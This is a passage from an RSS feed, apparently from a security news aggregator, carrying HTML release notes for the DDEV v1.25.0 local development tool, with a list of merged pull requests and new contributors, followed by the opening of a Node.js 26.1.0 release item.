<li>feat(xdebug-diagnose): Add <code>ddev utility xdebug-diagnose</code> command with interactive mode and WSL2 support by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3778517084" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8004" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8004/hovercard" href="https://github.com/ddev/ddev/pull/8004">#8004</a></li>
<li>fix: exclude paused/stopped projects from router's Traefik configuration by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3748548051" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7961" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7961/hovercard" href="https://github.com/ddev/ddev/pull/7961">#7961</a></li>
<li>test(quickstart): fix TYPO3 v14 test [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3834544982" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8044" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8044/hovercard" href="https://github.com/ddev/ddev/pull/8044">#8044</a></li>
<li>fix(pause): resolve race condition in app.Pause() causing intermittent test failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3834117681" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8043" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8043/hovercard" href="https://github.com/ddev/ddev/pull/8043">#8043</a></li>
<li>feat(devcontainer): Add more explicit support for non-codespaces devcontainer, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3063729923" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7294" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7294/hovercard" href="https://github.com/ddev/ddev/issues/7294">#7294</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3634176464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7876" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7876/hovercard" href="https://github.com/ddev/ddev/issues/7876">#7876</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3801324251" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8018" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8018/hovercard" href="https://github.com/ddev/ddev/issues/8018">#8018</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3815143833" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8032" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8032/hovercard" href="https://github.com/ddev/ddev/pull/8032">#8032</a></li>
<li>fix: pull all app images at once, initialize XHGui ports and mode if empty, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3811346250" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8023" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8023/hovercard" href="https://github.com/ddev/ddev/issues/8023">#8023</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3838723636" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8046" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8046/hovercard" href="https://github.com/ddev/ddev/pull/8046">#8046</a></li>
<li>fix(webserver): better log-stderr.sh reporting, remove trixie-backports by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3833225571" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8042" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8042/hovercard" href="https://github.com/ddev/ddev/pull/8042">#8042</a></li>
<li>build(deps): bump go.mod and docker-compose to v5.0.2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3837948652" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8045" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8045/hovercard" href="https://github.com/ddev/ddev/pull/8045">#8045</a></li>
<li>test(quickstart): add Wagtail (Django) Python, remove FrankenPHP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3842725618" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8049" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8049/hovercard" href="https://github.com/ddev/ddev/pull/8049">#8049</a></li>
<li>fix(cakephp): add new variable APP_FULL_BASE_URL to .env file by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ajibarra/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ajibarra">@ajibarra</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3842577307" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8048" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8048/hovercard" href="https://github.com/ddev/ddev/pull/8048">#8048</a></li>
<li>fix(poweroff): Skip poweroff prompt when containers already stopped during version upgrade by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3848144775" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8052" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8052/hovercard" href="https://github.com/ddev/ddev/pull/8052">#8052</a></li>
<li>fix(router): Fix ephemeral port allocation when router is unhealthy, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3830836096" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8041" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8041/hovercard" href="https://github.com/ddev/ddev/issues/8041">#8041</a> by @Copilot in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3847851352" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8051" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8051/hovercard" href="https://github.com/ddev/ddev/pull/8051">#8051</a></li>
<li>feat(add-ons): Use addons.json to avoid GitHub API rate limits, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3508049094" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7707" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7707/hovercard" href="https://github.com/ddev/ddev/issues/7707">#7707</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3760928582" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7978" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7978/hovercard" href="https://github.com/ddev/ddev/pull/7978">#7978</a></li>
<li>build(deps): bump actions/setup-python from 6.1.0 to 6.2.0 by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3856858704" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8059" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8059/hovercard" href="https://github.com/ddev/ddev/pull/8059">#8059</a></li>
<li>docs: Update Lagoon provider instructions with sync config, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3768525805" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7990" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7990/hovercard" href="https://github.com/ddev/ddev/issues/7990">#7990</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/froboy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/froboy">@froboy</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3768528261" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7991" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7991/hovercard" href="https://github.com/ddev/ddev/pull/7991">#7991</a></li>
<li>test(quickstart): disable symfony tests, update Laravel SQLite, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3855739168" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8058" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8058/hovercard" href="https://github.com/ddev/ddev/issues/8058">#8058</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3861011927" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8060" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8060/hovercard" href="https://github.com/ddev/ddev/pull/8060">#8060</a></li>
<li>feat(drupal12): Drupal 12 is now showing up in dev, support it, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3852470928" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8055" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8055/hovercard" href="https://github.com/ddev/ddev/issues/8055">#8055</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3852526865" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8056" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8056/hovercard" href="https://github.com/ddev/ddev/pull/8056">#8056</a></li>
<li>fix(ddevapp): check file existence in isCustomConfigFile by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3861764625" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8061" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8061/hovercard" href="https://github.com/ddev/ddev/pull/8061">#8061</a></li>
<li>fix(router): bypass CheckRouterPorts when all ports appear busy, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3693813229" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7921" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7921/hovercard" href="https://github.com/ddev/ddev/issues/7921">#7921</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3706631046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7927" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7927/hovercard" href="https://github.com/ddev/ddev/pull/7927">#7927</a></li>
<li>docs(drupal-cms): In the Drupal CMS quick-start, call drupal recipe:unpack by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/phenaproxima/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/phenaproxima">@phenaproxima</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3818313021" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8037" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8037/hovercard" href="https://github.com/ddev/ddev/pull/8037">#8037</a></li>
<li>chore(quickstart): enable tests for symfony, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3855739168" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8058" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8058/hovercard" href="https://github.com/ddev/ddev/issues/8058">#8058</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3865724504" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8070" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8070/hovercard" href="https://github.com/ddev/ddev/pull/8070">#8070</a></li>
<li>feat(commands): add Windows support for DBeaver outside WSL, add cygwin to OSTYPE by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862908143" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8065" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8065/hovercard" href="https://github.com/ddev/ddev/pull/8065">#8065</a></li>
<li>build(docker): bump images to v1.25.0 for release, update MariaDB gpg key by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862122088" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8062" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8062/hovercard" href="https://github.com/ddev/ddev/pull/8062">#8062</a></li>
<li>fix(lagoon): bug in lagoon-sync means it fails if ~/.ssh/known_hosts doesn't exist [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3866685126" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8072" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8072/hovercard" href="https://github.com/ddev/ddev/pull/8072">#8072</a></li>
<li>fix(healthcheck): resolve optional profiles to services, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3541461422" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7745" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7745/hovercard" href="https://github.com/ddev/ddev/pull/7745">#7745</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3866582672" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8071" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8071/hovercard" href="https://github.com/ddev/ddev/pull/8071">#8071</a></li>
<li>test(quickstart): fix Statamic check for login page by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3867068600" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8073" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8073/hovercard" href="https://github.com/ddev/ddev/pull/8073">#8073</a></li>
<li>test: fix drupal.bats for drupal cms 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3867749985" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8074" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8074/hovercard" href="https://github.com/ddev/ddev/pull/8074">#8074</a></li>
<li>test: add DDEV_EMBARGO_TESTS to skip tests via environment variable, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3871275997" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8076" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8076/hovercard" href="https://github.com/ddev/ddev/issues/8076">#8076</a> [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3871353826" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8077" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8077/hovercard" href="https://github.com/ddev/ddev/pull/8077">#8077</a></li>
<li>build(webserver): fix check for MariaDB keyring [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872270038" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8078" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8078/hovercard" href="https://github.com/ddev/ddev/pull/8078">#8078</a></li>
<li>chore: update version history for v1.25.0, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3716704952" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7934" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7934/hovercard" href="https://github.com/ddev/ddev/issues/7934">#7934</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872319811" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8079" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8079/hovercard" href="https://github.com/ddev/ddev/pull/8079">#8079</a></li>
<li>test: skip TestExtractCurlBody when httpbin.org is unavailable [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3872748552" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8080" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8080/hovercard" href="https://github.com/ddev/ddev/pull/8080">#8080</a></li>
<li>test(openmage): add --no-security-blocking to openmage.bats for Composer 2.9 compatibility [skip buildkite] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3888458213" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8092" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8092/hovercard" href="https://github.com/ddev/ddev/pull/8092">#8092</a></li>
<li>chore(github): update PR template by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887168991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8089" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8089/hovercard" href="https://github.com/ddev/ddev/pull/8089">#8089</a></li>
<li>fix(heidisql): get basename for postgres library, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3877835266" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8086" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8086/hovercard" href="https://github.com/ddev/ddev/issues/8086">#8086</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887098479" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8087" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8087/hovercard" href="https://github.com/ddev/ddev/pull/8087">#8087</a></li>
<li>fix(add-on): Re-add the output suggesting ddev restart after add-on, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887131086" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8088" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8088/hovercard" href="https://github.com/ddev/ddev/issues/8088">#8088</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3887425861" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8090" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8090/hovercard" href="https://github.com/ddev/ddev/pull/8090">#8090</a></li>
<li>docs: add note on restarting for environment variable changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MurzNN/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MurzNN">@MurzNN</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3889575340" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8093" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8093/hovercard" href="https://github.com/ddev/ddev/pull/8093">#8093</a></li>
<li>fix(add-on): normalize <code>ddev add-on get</code> output when there's no version by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3890604590" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8094" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8094/hovercard" href="https://github.com/ddev/ddev/pull/8094">#8094</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/q0rban/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/q0rban">@q0rban</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3626113413" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7861" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7861/hovercard" href="https://github.com/ddev/ddev/pull/7861">#7861</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BreathCodeFlow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BreathCodeFlow">@BreathCodeFlow</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3658037285" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7893" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7893/hovercard" href="https://github.com/ddev/ddev/pull/7893">#7893</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/crowjake/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/crowjake">@crowjake</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3669387046" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7907" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7907/hovercard" href="https://github.com/ddev/ddev/pull/7907">#7907</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/grummbeer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/grummbeer">@grummbeer</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3633286534" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7872" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7872/hovercard" href="https://github.com/ddev/ddev/pull/7872">#7872</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUVOJustin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUVOJustin">@JUVOJustin</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3730518709" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7942" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7942/hovercard" href="https://github.com/ddev/ddev/pull/7942">#7942</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lguigo22/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lguigo22">@lguigo22</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3756979012" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7975" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7975/hovercard" href="https://github.com/ddev/ddev/pull/7975">#7975</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codebymikey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codebymikey">@codebymikey</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3789513134" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8008" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8008/hovercard" href="https://github.com/ddev/ddev/pull/8008">#8008</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Franky5831/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Franky5831">@Franky5831</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3622910076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7853" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/7853/hovercard" href="https://github.com/ddev/ddev/pull/7853">#7853</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ddubau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ddubau">@ddubau</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3862908143" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8065" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8065/hovercard" href="https://github.com/ddev/ddev/pull/8065">#8065</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/ddev/ddev/compare/v1.24.10...v1.25.0"><tt>v1.24.10...v1.25.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-05-07, Version 26.1.0 (Current), @aduh95]]></title>
<description><![CDATA[Notable Changes
Experimental node:ffi module
Node.js now includes an experimental node:ffi module for loading dynamic
libraries and calling native symbols from JavaScript.
The API is gated behind the --experimental-ffi flag and, when the Permission
Model is enabled, requires --allow-ffi.
This API...]]></description>
<link>https://tsecurity.de/de/3495522/downloads/2026-05-07-version-2610-current-aduh95/</link>
